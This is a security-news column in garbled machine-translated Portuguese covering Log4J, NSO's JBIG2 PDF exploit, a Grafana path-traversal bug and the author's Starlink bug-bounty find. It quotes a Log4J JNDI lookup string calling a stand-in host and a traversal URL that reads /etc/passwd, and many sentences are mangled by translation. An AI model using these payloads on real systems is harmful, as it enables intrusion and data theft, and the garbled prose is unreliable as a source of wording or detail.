Esta semana em segurança: log4J, PDF CPU, bem como eu hackeado Starlink

A enorme notícia esta semana é Log4J, quebrando apenas algumas horas além atéo para ser incluído na coluna da semana passada. As pessoas já estão perguntando se esta é a vulnerabilidade mais séria, assim como parece que é pelo menos na corrida. O bug foi encontrado primeiro por especialistas em segurança no Alibaba, que notificou o Apache da falha em 24 de novembro. A Cloudflare puxou seus dados, bem como a evidência descoberta da vulnerabilidade na natureza já em 1º de dezembro. Esses primeiros exemplos são extremamente esparsos, bem como extremamente direcionados, suficientes para me tornar questionar se isso não fosse pesquisadores que fizessem parte da divulgação preliminar fazendo novos estudos sobre o problema. Independentemente, no dia 9 de dezembro, um indivíduo twitter twittou os detalhes da vulnerabilidade, bem como o inferno da segurança se soltou. Nove minutos após o tweet, a viu Cloudflare tentou explorar novamente, bem como dentro de oito horas, eles estavam lidando com 20.000 tentativas de exploração por minuto.

Essa é a linha do tempo, no entanto, o que está acontecendo com a exploração, assim como por que é tão ruim? Primeiro, o pacote vulnerável é log4J, uma biblioteca de registro para Java. Ele permite que os processos obtenham mensagens de log onde a exigência de ir, no entanto, com muitos sinos, bem como assobios incluídos. Uma dessas características é o suporte para JNDI, uma questão de segurança compreendida em Java. Um pedido JNDI pode levar a um ataque de desserialização, onde um fluxo de dados recebido está maliciosamente mal formado, mal comportado quando é ampliado de volta em um objeto. Não foi feito para que essas pesquisas JNDI sejam realizadas em toda a Internet, no entanto, não havia uma inspecção explícita para esse comportamento, então aqui estamos.

O pensamento final é que, se você puder acionar um log compor com log4j, que inclui $ {JNDI: ldap: //example.com/a}, você pode executar o código arbitrário nessa máquina. Pesquisadores, assim como os criminosos já criaram métodos inovadores para lidar com isso, como incluindo a string em um agente de navegador, ou muito primeiro nome. Sim, é o retorno de Bit Bobby Tables.log4j 2.16.0. 2.15.0 continha uma correção parcial, no entanto, não se livrou completamente do problema. Um Java atualizado também alterou uma configuração padrão, fornecendo mitigação parcial. No entanto, provavelmente não vimos o fim disso ainda.

NSO, bem como a CPU emulada em um PDF

Se isso fosse alguém que não seja o trabalho do Google Zero contando essa história, eu teria limpado como um pobre dispositivo de enredo de Hollywood. Essa vulnerabilidade está no aplicativo iOS iMessage, bem como exatamente como ele lida com dados .GIF que realmente contêm dados PDF. PDFs são flexíveis, para colocá-lo suavemente. Um dos estilos de codificação possíveis é o JBIG2, um codec de compressão preto e branco a partir de 2000. Parte do codec é a capacidade de utilizar operadores booleanos e, ou, xor, bem como xnor para representar pequenas diferenças entre blocos comprimidos. Um transbordamento inteiro no código de descompressão permite que muita memória seja pensada sobre a saída válida para descompressão, o que significa que o código de descompressão pode executar esses operadores booleanos nessa memória adicional.

Agora, o que você recebe quando tem muita memória, assim como esses quatro operadores? Uma CPU total de Turing, é claro. Sim, os pesquisadores do NSO Group realmente desenvolveram uma CPU on-line em uma rotina de decodificação PDF, além de utilizar essa plataforma para bootstrap sua fuga de sandbox. É insano, inacreditável, bem como brilhante. [Ed Nota: tão pobre o grupo NSO é essencialmente mal.]

Traversal do caminho de Grafana.

A plataforma de visualização do Grafana apenas recentemente corrigiu um problema sério, CVE-2021-43798. Essa vulnerabilidade permite que a travessia do caminho através das pastas do plugin. Assim, por exemplo, /Public/plugins/alertlist/../../../../../../../../etc/passwd devolveria os dados do passwd de um servidor Linux. As atualizações que fixam este problema foram lançadas em 7 de dezembro. Este bug foi realmente um 0 dia por alguns dias, como estava sendo discutido no terceiro publicamente, no entanto desconhecido para os Grafana Devs. Inspecione seu postmortem para os detalhes.

StarLink.

E finalmente, eu tenho algum estudo de pesquisa original para cobrir. Você pode estar familiarizado com o meu trabalho cobrindo o sistema Web StarLink Satellite. Parte do ímpeto para a compra, bem como manter o StarLink foi fazer estudo de pesquisa de segurança sobre a plataforma, bem como esse objetivo nasceu, finalmente, algumas frutas – até a soma de uma recompensa de US $ 4.800. Aqui está a história.

Eu tenho um amigo próximo que utiliza StarLink, bem como no dia 7 de dezembro, descobrimos que ambos tínhamos recebido um endereço IPv4 publicamente roteável. Exatamente como o roteamento do StarLink entre os assinantes? O tráfego da Web foi enviado da minha rede para ele ser direcionado diretamente no satélite, ou cada pacote teria que saltar fora do satélite, com a estação de terra do Spacex, de volta para o pássaro, bem como depois de volta para mim? Traceroute é uma ferramenta maravilhosa, assim como respondeu à pergunta:

traceroute a 98.97.92.x (98.97.92.x), 30 de lúpulo, 46 pacotes de bytes max
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 24.020 ms ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27,783 ms 23.973 27.363 ms ms
3 172.16.248.21 (172.16.248.21) 23,728 ms ms 26.880 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 51.474 ms ms 51.877 ms

Nós não entender exatamente o que era cada salto, no entanto o número de saltos, bem como a latência para todos os torna relativamente remover o nosso tráfego web estava indo com uma estação terrestre. no entanto há algo estranho sobre este traceroute. Será que você área ele? 172.16.x.y é uma rede pessoal, de acordo com RFC1918. A verdade que ele aparece em um meio traceroute que o meu roteador OpenWRT, bem como dispositivos Starlink são efetivamente roteamento do meu desktop para esse endereço. agora eu descobri esse tipo de coisa antes, na rede de um ISP diferente. entendendo que isso poderia ser interessante, eu introduzi nmap, bem como examinou os IPs pessoais que apareceram na traceroute. Bingo.

172.16.248.6 foi correctamente bloqueada, no entanto 172.16.248.21 mostrou portas abertas. Ou seja, as portas 179, 9100, 9101, bem como 50051. Nmap acreditado 179 foi BGP, que soou sobre a direita. no entanto, o resto deles? Telnet. I foi relativamente positivo que nenhum destes foram os serviços realmente telnet, no entanto, é um fantástico começar quando se tenta determinar um serviço desconhecido. Este não foi excepção. Ports 9100, bem como 9101 me disse que eu tinha feito uma má pedido, jogando 400s erro. Ah, eles foram os serviços HTTP! Puxando tanto para cima em um navegador web forneceu-me uma saída de depuração que parecia ser de um servidor Python Flask.

Esse último porto, 50051, foi interessante. O único serviço que eu poderia descobrir que era normalmente executado havia gRPC do Google, um protocolo telefonema de procedimento remoto. Grpc_cli veio a calhar para verificar se era o que eu tinha encontrado. infelizmente reflexão foi desativado, o que significa que o serviço se recusaram a enumerar os comandos que ele suportados. Mapear qualquer tipo de comandos seria necessário lançar uma grande quantidade de dados a esse porto.

Neste ponto, eu comecei a questionar exatamente o pedaço de hardware que eu estava falando. Ele fez BGP, era interior à rede da Starlink, bem como o meu tráfego web foi de roteamento com ele. isso pode ser um satélite? provavelmente não, no entanto, o bug de recompensas Starlink é bastante remover sobre o que deve vir em seguida. Sob nenhuma circunstância deve um pesquisador fazer o teste on-line em um satélite ou outras infra-estruturas crucial. Eu suspeito que eu estava falando com parte de sua infra-estrutura de roteamento, provavelmente na estação terrestre em Dallas. De qualquer maneira, cutucando bem difícil, bem como quebrar alguma coisa foi desaprovada, então eu compus a divulgação sobre o que eu tinha encontrado.

engenheiros Starlink teve as portas fechadas no prazo de doze horas do relatório, bem como me pediu para verificar novamente a sua triagem. com certeza, enquanto eu ainda pode ping os IPs pessoais, sem portas estavam abertas. aqui é onde eu deve creditar história os caras que correm Starlink bug generosidade da SpaceX. Eles poderiam ter chamado esta uma informação simples divulgação, pagou algumas centenas de dólares, bem como chamou-lhe um dia. Em vez disso, eles tomaram o tempo para investigar, bem como verificou que eu tinha realmente encontrado uma porta gRPC aberto, bem como, em seguida, soltou a bomba que era um ponto final não autenticado. A descoberta rendeu um prêmio preliminar $ 3.800, além de uma recompensa de US $ 1.000 para um relatório abrangente, bem como não bater seus sistemas on-line. Como meu amigo regionais meio brincando colocá-lo, isso é uma grande quantidade de dinheiro para executar o nmap.

Sim, havia um pouco de sorte envolvida, integrado com toda uma grande dose de experiência prévia com peculiaridades de rede. O takeaway principal deve ser que o estudo de pesquisa de segurança nem sempre tem que ser a vulnerabilidade de super desafio, bem como explorar o desenvolvimento. Você não tem que desenvolver um sistema Turing completo em um PDF. às vezes é IP tão bem como a exploração portuária, integrado com persistência, bem como um pouco de sorte. Na verdade, se o seu ISP tem um programa de recompensas bug, você pode tentar ligar uma máquina Linux diretamente no modem, bem como a digitalização da faixa de IP pessoal. mantenha seus olhos abertos. Você também só pode descobrir algo interessante.

Send your Comment

Your email address will not be published. Required fields are marked *